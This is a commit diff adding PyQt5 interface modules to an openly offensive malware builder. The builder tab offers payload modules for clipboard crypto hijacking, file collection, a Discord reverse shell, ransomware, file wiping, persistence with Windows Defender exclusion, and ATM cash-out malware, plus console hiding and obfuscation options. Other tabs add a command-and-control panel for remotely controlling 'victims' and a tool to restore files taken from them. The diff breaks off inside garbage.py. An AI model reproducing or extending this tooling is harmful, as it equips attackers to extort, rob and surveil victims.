Add TABS package modules and refactor whispers
This commit is contained in:
9
TABS/__init__.py
Normal file
9
TABS/__init__.py
Normal file
@ -0,0 +1,9 @@
|
||||
# TABS package
|
||||
from .builder import BuilderWidget
|
||||
from .output import OutputWidget
|
||||
from .c2 import C2Widget
|
||||
from .krash import KrashWidget
|
||||
from .garbage import GarbageCollectorWidget
|
||||
from .docs import DocsWidget
|
||||
from .settings import SettingsWidget
|
||||
from .whispers import SilentWhispersWidget
|
||||
1
TABS/builder/__init__.py
Normal file
1
TABS/builder/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .builder import BuilderWidget
|
||||
525
TABS/builder/builder.py
Normal file
525
TABS/builder/builder.py
Normal file
@ -0,0 +1,525 @@
|
||||
import os
|
||||
from functools import partial
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||
QComboBox, QCheckBox, QLabel, QGroupBox, QScrollArea,
|
||||
QTableWidget, QTableWidgetItem, QHeaderView, QAbstractItemView, QSizePolicy
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap, QMovie
|
||||
from PyQt5.QtCore import Qt, pyqtSignal
|
||||
|
||||
|
||||
MODULES = {
|
||||
'module/ctrlvamp': {
|
||||
'desc': 'Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).'
|
||||
},
|
||||
'module/dumpster': {
|
||||
'desc': 'Collects files from a directory and archives them into a single file.'
|
||||
},
|
||||
'module/ghostintheshell': {
|
||||
'desc': 'Provides a reverse shell over Discord for remote access.'
|
||||
},
|
||||
'module/krash': {
|
||||
'desc': 'Encrypts files in target directories and displays a ransom note.'
|
||||
},
|
||||
'module/poof': {
|
||||
'desc': 'Recursively deletes all files and folders from a target directory.'
|
||||
},
|
||||
'module/undeleteme': {
|
||||
'desc': 'Gains persistence and can add a Windows Defender exclusion.'
|
||||
},
|
||||
'module/byovf': {
|
||||
'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
|
||||
},
|
||||
'module/bankruptsys': {
|
||||
'desc': 'An ATM malware module to dispense cash via XFS.'
|
||||
},
|
||||
'module/winkrashv2': {
|
||||
'desc': 'A ransomware module for Windows that uses direct syscalls.'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class ModuleTableWidget(QTableWidget):
|
||||
"""A QTableWidget that supports drag-and-drop row reordering."""
|
||||
reorder_signal = pyqtSignal(list)
|
||||
|
||||
def __init__(self, parent=None):
|
||||
super().__init__(parent)
|
||||
self.setDragDropMode(QAbstractItemView.InternalMove)
|
||||
self.setSelectionBehavior(QAbstractItemView.SelectRows)
|
||||
self.setSelectionMode(QAbstractItemView.SingleSelection)
|
||||
|
||||
def dropEvent(self, event):
|
||||
if event.source() == self and (event.dropAction() == Qt.MoveAction or self.dragDropMode() == QAbstractItemView.InternalMove):
|
||||
source_row = self.selectionModel().currentIndex().row()
|
||||
dest_row = self.indexAt(event.pos()).row()
|
||||
if dest_row == -1:
|
||||
dest_row = self.rowCount() - 1
|
||||
|
||||
current_order = []
|
||||
for row in range(self.rowCount()):
|
||||
item = self.item(row, 0)
|
||||
if item and item.data(Qt.UserRole):
|
||||
current_order.append(item.data(Qt.UserRole))
|
||||
|
||||
moved_item = current_order.pop(source_row)
|
||||
current_order.insert(dest_row, moved_item)
|
||||
|
||||
self.reorder_signal.emit(current_order)
|
||||
event.accept()
|
||||
event.setDropAction(Qt.IgnoreAction)
|
||||
else:
|
||||
super().dropEvent(event)
|
||||
|
||||
|
||||
class BuilderWidget(QWidget):
|
||||
"""Builder tab widget for module selection and build configuration."""
|
||||
|
||||
build_requested = pyqtSignal(dict)
|
||||
log_message = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, script_dir, module_options, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.module_options = module_options
|
||||
self.selected_modules = []
|
||||
self.option_inputs = {}
|
||||
self.current_option_values = {}
|
||||
self.loading_movie = None
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QHBoxLayout(self)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
# Left side - Module Options and Build Options
|
||||
left_layout = QVBoxLayout()
|
||||
|
||||
self.module_options_group = QGroupBox("MODULE OPTIONS")
|
||||
self.module_options_group.setFont(title_font)
|
||||
module_options_group_layout = QVBoxLayout(self.module_options_group)
|
||||
|
||||
scroll_area = QScrollArea()
|
||||
scroll_area.setWidgetResizable(True)
|
||||
scroll_area.setStyleSheet("QScrollArea { border: none; }")
|
||||
scroll_area.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
|
||||
scroll_area.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
|
||||
|
||||
scroll_content_widget = QWidget()
|
||||
self.options_layout = QVBoxLayout(scroll_content_widget)
|
||||
|
||||
scroll_area.setWidget(scroll_content_widget)
|
||||
module_options_group_layout.addWidget(scroll_area)
|
||||
left_layout.addWidget(self.module_options_group, stretch=7)
|
||||
|
||||
# Build Options
|
||||
build_options_group = QGroupBox("BUILD OPTIONS")
|
||||
build_options_group.setFont(title_font)
|
||||
build_options_layout = QVBoxLayout(build_options_group)
|
||||
build_options_layout.setSpacing(10)
|
||||
|
||||
exe_name_layout = QHBoxLayout()
|
||||
exe_name_label = QLabel("EXE NAME")
|
||||
exe_name_label.setFont(subtitle_font)
|
||||
self.exe_name_input = QLineEdit("payload")
|
||||
self.exe_name_input.setFont(subtitle_font)
|
||||
exe_name_layout.addWidget(exe_name_label)
|
||||
exe_name_layout.addWidget(self.exe_name_input, 1)
|
||||
|
||||
target_os_label = QLabel("OS")
|
||||
target_os_label.setFont(subtitle_font)
|
||||
self.target_os_combo = QComboBox()
|
||||
self.target_os_combo.addItems(["windows", "linux", "macos"])
|
||||
self.target_os_combo.setFont(subtitle_font)
|
||||
self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
|
||||
exe_name_layout.addWidget(target_os_label)
|
||||
exe_name_layout.addWidget(self.target_os_combo, 1)
|
||||
|
||||
target_arch_label = QLabel("PROCESSOR")
|
||||
target_arch_label.setFont(subtitle_font)
|
||||
self.target_arch_combo = QComboBox()
|
||||
self.target_arch_combo.addItems(["amd64", "arm64"])
|
||||
self.target_arch_combo.setFont(subtitle_font)
|
||||
exe_name_layout.addWidget(target_arch_label)
|
||||
exe_name_layout.addWidget(self.target_arch_combo, 1)
|
||||
build_options_layout.addLayout(exe_name_layout)
|
||||
|
||||
win_options_layout = QHBoxLayout()
|
||||
self.hide_console_check = QCheckBox("HIDE CONSOLE")
|
||||
self.hide_console_check.setFont(subtitle_font)
|
||||
self.hide_console_check.setChecked(True)
|
||||
win_options_layout.addWidget(self.hide_console_check)
|
||||
|
||||
self.obfuscate_check = QCheckBox("OBFUSCATE")
|
||||
self.obfuscate_check.setFont(subtitle_font)
|
||||
self.obfuscate_check.setChecked(False)
|
||||
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
|
||||
win_options_layout.addWidget(self.obfuscate_check)
|
||||
|
||||
self.ollvm_input = QLineEdit("")
|
||||
self.ollvm_input.setPlaceholderText("e.g., -fla -sub -bcf")
|
||||
self.ollvm_input.setFont(subtitle_font)
|
||||
win_options_layout.addWidget(self.ollvm_input, 1)
|
||||
build_options_layout.addLayout(win_options_layout)
|
||||
|
||||
left_layout.addWidget(build_options_group)
|
||||
|
||||
# Build Button
|
||||
build_btn_layout = QHBoxLayout()
|
||||
self.build_btn = QPushButton("BUILD")
|
||||
self.build_btn.setFont(subtitle_font)
|
||||
self.build_btn.clicked.connect(self.on_build_clicked)
|
||||
build_btn_layout.addWidget(self.build_btn)
|
||||
left_layout.addLayout(build_btn_layout)
|
||||
|
||||
# Banner
|
||||
banner_layout = QHBoxLayout()
|
||||
self.banner_label = QLabel("Banner Placeholder")
|
||||
self.banner_label.setFont(subtitle_font)
|
||||
banner_path = os.path.join(self.script_dir, "ASSETS", "banner.png")
|
||||
movie = QMovie(banner_path)
|
||||
if movie.isValid():
|
||||
self.banner_label.setMovie(movie)
|
||||
movie.start()
|
||||
self.banner_label.setFixedHeight(50)
|
||||
self.banner_label.setAlignment(Qt.AlignCenter)
|
||||
banner_layout.addWidget(self.banner_label, stretch=1)
|
||||
left_layout.addLayout(banner_layout)
|
||||
layout.addLayout(left_layout, 6)
|
||||
|
||||
# Right side - Module selection and chain
|
||||
right_layout = QVBoxLayout()
|
||||
module_select_layout = QVBoxLayout()
|
||||
module_select_layout.setContentsMargins(0, 12, 0, 0)
|
||||
module_label = QLabel("MODULES")
|
||||
module_label.setFont(title_font)
|
||||
module_select_layout.addWidget(module_label)
|
||||
|
||||
self.module_combo = QComboBox()
|
||||
self.module_combo.setFont(subtitle_font)
|
||||
self.module_combo.addItem("SELECT MODULE")
|
||||
for module in MODULES.keys():
|
||||
self.module_combo.addItem(module.split('/')[-1])
|
||||
self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
|
||||
module_select_layout.addWidget(self.module_combo)
|
||||
|
||||
module_buttons_layout = QHBoxLayout()
|
||||
self.add_module_btn = QPushButton("ADD MODULE")
|
||||
self.add_module_btn.setFont(subtitle_font)
|
||||
self.add_module_btn.clicked.connect(self.add_module)
|
||||
module_buttons_layout.addWidget(self.add_module_btn)
|
||||
module_select_layout.addLayout(module_buttons_layout)
|
||||
right_layout.addLayout(module_select_layout)
|
||||
|
||||
module_chain_label = QLabel("MODULE CHAIN")
|
||||
module_chain_label.setFont(title_font)
|
||||
right_layout.addWidget(module_chain_label)
|
||||
|
||||
self.module_table = ModuleTableWidget()
|
||||
self.module_table.setFont(subtitle_font)
|
||||
self.module_table.setColumnCount(2)
|
||||
self.module_table.setHorizontalHeaderLabels(["Module", ""])
|
||||
self.module_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
|
||||
self.module_table.setColumnWidth(1, 50)
|
||||
self.module_table.setStyleSheet("background-color: #0a0a0a;")
|
||||
self.module_table.reorder_signal.connect(self.reorder_modules)
|
||||
self.module_table.itemClicked.connect(self.on_module_item_clicked)
|
||||
right_layout.addWidget(self.module_table)
|
||||
|
||||
layout.addLayout(right_layout, 4)
|
||||
|
||||
self.update_options_layout()
|
||||
self.update_windows_only_options(self.target_os_combo.currentText())
|
||||
|
||||
def toggle_obfuscation(self):
|
||||
self.ollvm_input.setEnabled(self.obfuscate_check.isChecked())
|
||||
|
||||
def update_windows_only_options(self, os_name):
|
||||
if os_name in ("linux", "macos"):
|
||||
self.hide_console_check.setEnabled(False)
|
||||
self.obfuscate_check.setEnabled(False)
|
||||
self.obfuscate_check.setChecked(False)
|
||||
self.ollvm_input.setEnabled(False)
|
||||
else:
|
||||
self.hide_console_check.setEnabled(True)
|
||||
self.obfuscate_check.setEnabled(True)
|
||||
self.toggle_obfuscation()
|
||||
|
||||
def add_module(self):
|
||||
module_name = self.module_combo.currentText()
|
||||
if module_name == "SELECT MODULE":
|
||||
self.log_message.emit("Error: No module selected.", "error")
|
||||
return
|
||||
full_module = f"module/{module_name}"
|
||||
if full_module in self.selected_modules:
|
||||
self.log_message.emit(f"Error: Module {module_name} already added.", "error")
|
||||
return
|
||||
if full_module in MODULES:
|
||||
self.selected_modules.append(full_module)
|
||||
self.log_message.emit(f"Added module: {module_name}", "success")
|
||||
self.update_all_option_values()
|
||||
self.update_module_table()
|
||||
self.update_options_layout()
|
||||
|
||||
def remove_module(self, module_to_remove):
|
||||
if module_to_remove in self.selected_modules:
|
||||
self.selected_modules.remove(module_to_remove)
|
||||
module_name = os.path.basename(module_to_remove)
|
||||
self.log_message.emit(f"Removed module: {module_name}", "system")
|
||||
self.update_all_option_values()
|
||||
self.update_module_table()
|
||||
self.update_options_layout()
|
||||
|
||||
def on_module_item_clicked(self, item):
|
||||
self.update_options_layout(focused_module=item.data(Qt.UserRole))
|
||||
|
||||
def reorder_modules(self, new_order):
|
||||
if self.selected_modules == new_order:
|
||||
return
|
||||
self.log_message.emit("Module chain reordered.", "system")
|
||||
self.selected_modules = new_order
|
||||
self.update_module_table()
|
||||
|
||||
def update_module_table(self):
|
||||
self.module_table.setRowCount(len(self.selected_modules))
|
||||
for i, module in enumerate(self.selected_modules):
|
||||
module_name = module.split('/')[-1]
|
||||
name_item = QTableWidgetItem(module_name)
|
||||
name_item.setFont(QFont("Arial", 10))
|
||||
name_item.setData(Qt.UserRole, module)
|
||||
name_item.setTextAlignment(Qt.AlignLeft | Qt.AlignVCenter)
|
||||
self.module_table.setItem(i, 0, name_item)
|
||||
|
||||
remove_btn = QPushButton("X")
|
||||
remove_btn.setFont(QFont("Arial", 8))
|
||||
remove_btn.clicked.connect(partial(self.remove_module, module))
|
||||
self.module_table.setCellWidget(i, 1, remove_btn)
|
||||
|
||||
for i in range(self.module_table.rowCount()):
|
||||
self.module_table.setRowHeight(i, 30)
|
||||
|
||||
def update_options_layout(self, focused_module=None):
|
||||
for i in reversed(range(self.options_layout.count())):
|
||||
layout_item = self.options_layout.itemAt(i)
|
||||
if layout_item.widget():
|
||||
layout_item.widget().deleteLater()
|
||||
elif layout_item.layout():
|
||||
while layout_item.layout().count():
|
||||
child = layout_item.layout().takeAt(0)
|
||||
if child.widget():
|
||||
child.widget().deleteLater()
|
||||
layout_item.layout().deleteLater()
|
||||
elif layout_item.spacerItem():
|
||||
self.options_layout.removeItem(layout_item)
|
||||
self.option_inputs.clear()
|
||||
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
|
||||
if not self.selected_modules:
|
||||
icon_label = QLabel()
|
||||
icon_path = os.path.join(self.script_dir, "ASSETS", "normal.png")
|
||||
pixmap = QPixmap(icon_path)
|
||||
if not pixmap.isNull():
|
||||
icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
else:
|
||||
icon_label.setText("Add a module to see its options")
|
||||
icon_label.setAlignment(Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
|
||||
self.module_options_group.setTitle("MODULE OPTIONS")
|
||||
return
|
||||
|
||||
modules_to_show = [focused_module] if focused_module else self.selected_modules
|
||||
|
||||
if focused_module:
|
||||
self.module_options_group.setTitle(f"{focused_module.split('/')[-1].upper()} OPTIONS")
|
||||
self.module_options_group.setFont(title_font)
|
||||
else:
|
||||
self.module_options_group.setTitle("MODULE OPTIONS")
|
||||
|
||||
has_any_options = False
|
||||
for module_name in modules_to_show:
|
||||
if module_name not in self.module_options or not self.module_options[module_name]:
|
||||
continue
|
||||
|
||||
has_any_options = True
|
||||
|
||||
if not focused_module and len(self.selected_modules) > 1:
|
||||
module_label = QLabel(f"{module_name.split('/')[-1].upper()} OPTIONS")
|
||||
module_label.setStyleSheet("font-weight: bold; color: #707070;")
|
||||
module_label.setFont(title_font)
|
||||
self.options_layout.addWidget(module_label)
|
||||
|
||||
module_defaults = self.module_options.get(module_name, {})
|
||||
module_current_values = self.current_option_values.get(module_name, {})
|
||||
|
||||
for option, default_value in module_defaults.items():
|
||||
value = module_current_values.get(option, default_value)
|
||||
option_row = QHBoxLayout()
|
||||
option_label = QLabel(f"{option}:")
|
||||
option_label.setFont(subtitle_font)
|
||||
option_label.setStyleSheet("color: #b0b0b0;")
|
||||
if option in ['persistence', 'defenderExclusion']:
|
||||
input_widget = QCheckBox()
|
||||
input_widget.setFont(subtitle_font)
|
||||
try:
|
||||
is_checked = str(value).lower() in ('true', '1', 'yes', 'on')
|
||||
input_widget.setChecked(is_checked)
|
||||
except:
|
||||
input_widget.setChecked(False)
|
||||
else:
|
||||
input_widget = QLineEdit(value)
|
||||
input_widget.setFont(subtitle_font)
|
||||
|
||||
if option in ['nimFile', 'embedFiles', 'dumpsterFile', 'inputDir', 'outputDir', 'targetDir']:
|
||||
browse_btn = QPushButton("Browse...")
|
||||
option_row.addWidget(browse_btn)
|
||||
|
||||
option_row.addWidget(option_label)
|
||||
option_row.addWidget(input_widget)
|
||||
self.options_layout.addLayout(option_row)
|
||||
self.option_inputs[f"{module_name}:{option}"] = input_widget
|
||||
if not focused_module:
|
||||
self.options_layout.addSpacing(10)
|
||||
|
||||
if not has_any_options:
|
||||
no_options_label = QLabel("No configurable options for the selected module(s).")
|
||||
no_options_label.setFont(subtitle_font)
|
||||
no_options_label.setAlignment(Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
self.options_layout.addWidget(no_options_label, 0, Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
else:
|
||||
self.options_layout.addStretch()
|
||||
|
||||
def update_all_option_values(self):
|
||||
for key, widget in self.option_inputs.items():
|
||||
module_name, option_name = key.split(":")
|
||||
if module_name not in self.current_option_values:
|
||||
self.current_option_values[module_name] = {}
|
||||
|
||||
if isinstance(widget, QLineEdit):
|
||||
value = widget.text()
|
||||
elif isinstance(widget, QCheckBox):
|
||||
value = str(widget.isChecked()).lower()
|
||||
else:
|
||||
continue
|
||||
self.current_option_values[module_name][option_name] = value
|
||||
|
||||
def show_loading_view(self):
|
||||
for i in reversed(range(self.options_layout.count())):
|
||||
layout_item = self.options_layout.itemAt(i)
|
||||
if layout_item.widget():
|
||||
layout_item.widget().deleteLater()
|
||||
elif layout_item.layout():
|
||||
while layout_item.layout().count():
|
||||
child = layout_item.layout().takeAt(0)
|
||||
if child.widget():
|
||||
child.widget().deleteLater()
|
||||
layout_item.layout().deleteLater()
|
||||
elif layout_item.spacerItem():
|
||||
self.options_layout.removeItem(layout_item)
|
||||
|
||||
self.option_inputs.clear()
|
||||
|
||||
icon_label = QLabel()
|
||||
icon_path = os.path.join(self.script_dir, "ASSETS", "loading.gif")
|
||||
self.loading_movie = QMovie(icon_path)
|
||||
if not self.loading_movie.isValid():
|
||||
icon_label.setText("Building...")
|
||||
icon_label.setStyleSheet("color: #909090;")
|
||||
else:
|
||||
icon_label.setMovie(self.loading_movie)
|
||||
original_size = self.loading_movie.frameRect().size()
|
||||
scaled_size = original_size.scaled(500, 500, Qt.KeepAspectRatio)
|
||||
self.loading_movie.setScaledSize(scaled_size)
|
||||
self.loading_movie.start()
|
||||
icon_label.setAlignment(Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
|
||||
def clear_loading_view(self):
|
||||
if self.loading_movie:
|
||||
self.loading_movie.stop()
|
||||
self.loading_movie = None
|
||||
for i in reversed(range(self.options_layout.count())):
|
||||
layout_item = self.options_layout.itemAt(i)
|
||||
if layout_item.widget():
|
||||
layout_item.widget().deleteLater()
|
||||
elif layout_item.layout():
|
||||
while layout_item.layout().count():
|
||||
child = layout_item.layout().takeAt(0)
|
||||
if child.widget():
|
||||
child.widget().deleteLater()
|
||||
layout_item.layout().deleteLater()
|
||||
elif layout_item.spacerItem():
|
||||
self.options_layout.removeItem(layout_item)
|
||||
|
||||
def show_result_view(self, is_success):
|
||||
self.clear_loading_view()
|
||||
image_name = "success.png" if is_success else "error.png"
|
||||
fallback_text = "SUCCESS" if is_success else "BUILD FAILED"
|
||||
|
||||
icon_label = QLabel()
|
||||
icon_path = os.path.join(self.script_dir, "ASSETS", image_name)
|
||||
pixmap = QPixmap(icon_path)
|
||||
if not pixmap.isNull():
|
||||
icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
else:
|
||||
icon_label.setText(fallback_text)
|
||||
icon_label.setStyleSheet(f"color: {'#ffffff' if is_success else '#808080'}; font-size: 18px; font-weight: bold;")
|
||||
|
||||
icon_label.setAlignment(Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
|
||||
self.options_layout.addStretch()
|
||||
|
||||
def on_build_clicked(self):
|
||||
self.update_all_option_values()
|
||||
build_config = {
|
||||
'selected_modules': self.selected_modules,
|
||||
'exe_name': self.exe_name_input.text(),
|
||||
'target_os': self.target_os_combo.currentText(),
|
||||
'target_arch': self.target_arch_combo.currentText(),
|
||||
'hide_console': self.hide_console_check.isChecked(),
|
||||
'obfuscate': self.obfuscate_check.isChecked(),
|
||||
'ollvm': self.ollvm_input.text(),
|
||||
'option_values': self.current_option_values
|
||||
}
|
||||
self.build_requested.emit(build_config)
|
||||
|
||||
def get_settings(self):
|
||||
self.update_all_option_values()
|
||||
return {
|
||||
'exe_name': self.exe_name_input.text(),
|
||||
'target_os': self.target_os_combo.currentText(),
|
||||
'target_arch': self.target_arch_combo.currentText(),
|
||||
'hide_console': self.hide_console_check.isChecked(),
|
||||
'obfuscate': self.obfuscate_check.isChecked(),
|
||||
'ollvm': self.ollvm_input.text(),
|
||||
'module_chain': self.selected_modules,
|
||||
'module_options': self.current_option_values
|
||||
}
|
||||
|
||||
def load_settings(self, settings):
|
||||
self.exe_name_input.setText(settings.get('exe_name', 'payload'))
|
||||
self.target_os_combo.setCurrentText(settings.get('target_os', 'windows'))
|
||||
self.target_arch_combo.setCurrentText(settings.get('target_arch', 'amd64'))
|
||||
self.hide_console_check.setChecked(settings.get('hide_console', True))
|
||||
self.obfuscate_check.setChecked(settings.get('obfuscate', False))
|
||||
self.ollvm_input.setText(settings.get('ollvm', ''))
|
||||
self.selected_modules = settings.get('module_chain', [])
|
||||
self.current_option_values = settings.get('module_options', {})
|
||||
self.update_module_table()
|
||||
self.update_options_layout()
|
||||
1
TABS/c2/__init__.py
Normal file
1
TABS/c2/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .c2 import C2Widget
|
||||
110
TABS/c2/c2.py
Normal file
110
TABS/c2/c2.py
Normal file
@ -0,0 +1,110 @@
|
||||
import os
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||
QTextEdit, QLabel
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap
|
||||
from PyQt5.QtCore import Qt, pyqtSignal
|
||||
|
||||
|
||||
class C2Widget(QWidget):
|
||||
"""C2 (Command and Control) tab widget."""
|
||||
|
||||
connect_requested = pyqtSignal()
|
||||
send_message_requested = pyqtSignal(str)
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
main_layout = QHBoxLayout(self)
|
||||
main_layout.setContentsMargins(15, 15, 15, 15)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
# Left column - Controls
|
||||
left_column_widget = QWidget()
|
||||
left_layout = QVBoxLayout(left_column_widget)
|
||||
left_layout.setContentsMargins(0, 0, 0, 0)
|
||||
|
||||
header_layout = QHBoxLayout()
|
||||
title = QLabel("COMMAND AND CONTROL")
|
||||
title.setFont(title_font)
|
||||
header_layout.addWidget(title)
|
||||
left_layout.addLayout(header_layout)
|
||||
|
||||
desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely")
|
||||
desc.setFont(subtitle_font)
|
||||
desc.setStyleSheet("color: #707070;")
|
||||
desc.setWordWrap(True)
|
||||
left_layout.addWidget(desc)
|
||||
|
||||
self.connect_btn = QPushButton("Connect")
|
||||
self.connect_btn.clicked.connect(self.on_connect_clicked)
|
||||
left_layout.addWidget(self.connect_btn)
|
||||
|
||||
self.log = QTextEdit()
|
||||
self.log.setReadOnly(True)
|
||||
self.log.setFont(subtitle_font)
|
||||
self.log.setStyleSheet("background-color: #0e0e0e;")
|
||||
left_layout.addWidget(self.log)
|
||||
|
||||
input_layout = QHBoxLayout()
|
||||
self.cmd_input = QLineEdit()
|
||||
self.cmd_input.setPlaceholderText("Enter command to send...")
|
||||
self.cmd_input.returnPressed.connect(self.on_send_clicked)
|
||||
self.cmd_input.setEnabled(False)
|
||||
|
||||
self.send_btn = QPushButton("Send")
|
||||
self.send_btn.clicked.connect(self.on_send_clicked)
|
||||
self.send_btn.setEnabled(False)
|
||||
|
||||
input_layout.addWidget(self.cmd_input, 1)
|
||||
input_layout.addWidget(self.send_btn)
|
||||
left_layout.addLayout(input_layout)
|
||||
|
||||
# Right column - Image
|
||||
image_label = QLabel()
|
||||
image_path = os.path.join(self.script_dir, "ASSETS", "c2.png")
|
||||
pixmap = QPixmap(image_path)
|
||||
if not pixmap.isNull():
|
||||
image_label.setPixmap(pixmap.scaled(300, 800, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
image_label.setAlignment(Qt.AlignCenter)
|
||||
|
||||
main_layout.addWidget(left_column_widget, 6)
|
||||
main_layout.addWidget(image_label, 4)
|
||||
|
||||
def on_connect_clicked(self):
|
||||
self.connect_requested.emit()
|
||||
|
||||
def on_send_clicked(self):
|
||||
content = self.cmd_input.text().strip()
|
||||
if content:
|
||||
self.send_message_requested.emit(content)
|
||||
self.cmd_input.clear()
|
||||
|
||||
def log_message(self, message, msg_type="system"):
|
||||
color_map = {
|
||||
"error": "#808080",
|
||||
"success": "#ffffff",
|
||||
"system": "#a0a0a0",
|
||||
"c2_sent": "#d0d0d0",
|
||||
"c2_recv": "#ffffff",
|
||||
"c2_debug": "#606060"
|
||||
}
|
||||
color = color_map.get(msg_type, "#c0c0c0")
|
||||
self.log.append(f'<font color="{color}">{message}</font>')
|
||||
|
||||
def set_connected(self, is_connected):
|
||||
self.cmd_input.setEnabled(is_connected)
|
||||
self.send_btn.setEnabled(is_connected)
|
||||
self.connect_btn.setText("Disconnect" if is_connected else "Connect")
|
||||
|
||||
def clear_log(self):
|
||||
self.log.clear()
|
||||
1
TABS/docs/__init__.py
Normal file
1
TABS/docs/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .docs import DocsWidget
|
||||
34
TABS/docs/docs.py
Normal file
34
TABS/docs/docs.py
Normal file
@ -0,0 +1,34 @@
|
||||
import os
|
||||
from PyQt5.QtWidgets import QWidget, QVBoxLayout, QTextEdit
|
||||
from PyQt5.QtGui import QFont
|
||||
|
||||
|
||||
class DocsWidget(QWidget):
|
||||
"""Documentation tab widget."""
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(15, 15, 15, 15)
|
||||
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
self.docs_text = QTextEdit()
|
||||
self.docs_text.setFont(subtitle_font)
|
||||
self.docs_text.setReadOnly(True)
|
||||
|
||||
doc_path = os.path.join(self.script_dir, "DOC.md")
|
||||
try:
|
||||
with open(doc_path, 'r', encoding='utf-8') as f:
|
||||
doc_content = f.read()
|
||||
self.docs_text.setMarkdown(doc_content)
|
||||
except FileNotFoundError:
|
||||
self.docs_text.setText("Error: DOC.md not found.")
|
||||
|
||||
self.docs_text.setStyleSheet("background-color: #0e0e0e;")
|
||||
layout.addWidget(self.docs_text)
|
||||
1
TABS/garbage/__init__.py
Normal file
1
TABS/garbage/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .garbage import GarbageCollectorWidget
|
||||
189
TABS/garbage/garbage.py
Normal file
189
TABS/garbage/garbage.py
Normal file
@ -0,0 +1,189 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap
|
||||
from PyQt5.QtCore import Qt, pyqtSignal, QApplication
|
||||
|
||||
|
||||
class GarbageCollectorWidget(QWidget):
|
||||
"""Garbage Collector tab widget for file restoration."""
|
||||
|
||||
restore_requested = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(15, 15, 15, 15)
|
||||
layout.setSpacing(15)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
# Top section
|
||||
top_widget = QWidget()
|
||||
top_layout = QHBoxLayout(top_widget)
|
||||
|
||||
# Icon
|
||||
icon_label = QLabel()
|
||||
icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
|
||||
pixmap = QPixmap(icon_path)
|
||||
if not pixmap.isNull():
|
||||
icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
icon_label.setAlignment(Qt.AlignCenter)
|
||||
top_layout.addWidget(icon_label, 3)
|
||||
|
||||
# Restore options
|
||||
restore_options_group = QGroupBox("RESTORE FILES FROM DUMPSTER")
|
||||
restore_options_group.setFont(title_font)
|
||||
restore_options_layout = QVBoxLayout(restore_options_group)
|
||||
|
||||
desc_label = QLabel("Select a dumpster file and a destination directory to restore its contents.\nCopy all the desired files you want from victim's system")
|
||||
